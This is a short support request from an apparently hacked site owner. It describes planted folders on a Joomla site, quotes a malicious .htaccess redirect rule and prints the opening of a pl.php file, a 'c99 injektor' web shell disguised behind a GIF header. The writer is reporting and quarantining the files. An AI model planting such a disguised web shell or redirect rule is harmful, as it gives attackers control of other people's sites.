Support

Hi Nikko!

I was hacked today.
I have found the following hacker files on the public_html root of mysite.com:
blogger.com, coke.net, img.youtube.com, and picasa.com.

They were put there today, as far as I can tell.

Acoording to Joomla, this is an identified hacker program:
http://forum.joomla.org/viewtopic.php?p=2637101

I have segregated the files into a new folder in public_html called "Quarantine."

This does not prevent picasa.com from reappearing after I get rid of it.

They all contain .htacess files similar to the following:
RewriteEngine on
RewriteCond %{HTTP_HOST} ^picasa\.com\.mysite\.com$ [OR]
RewriteCond %{HTTP_HOST} ^www\.picasa\.com\.mysite\.com$
RewriteRule ^/?$ "http\:\/\/picasa\.com\.mysite\.com" [R=301,L]

Each contains a large (190kb) pl.php file that begins as follows:

GIF89a
?
????ÿÿÿ!ù
????,????
?
??D
?;? /*******************************************/
/* c99 injektor v1 06.2008 */
/* Re-coded and modified By coke */
/* #[email protected] */
/*******************************************/
$sh_id = "Y29rZQ=";
$sh_ver = "- exploit";
$sh_name = base64_decode($sh_id).$sh_ver;
$sh_mainurl = "http://google.com";
$html_start = ''.
'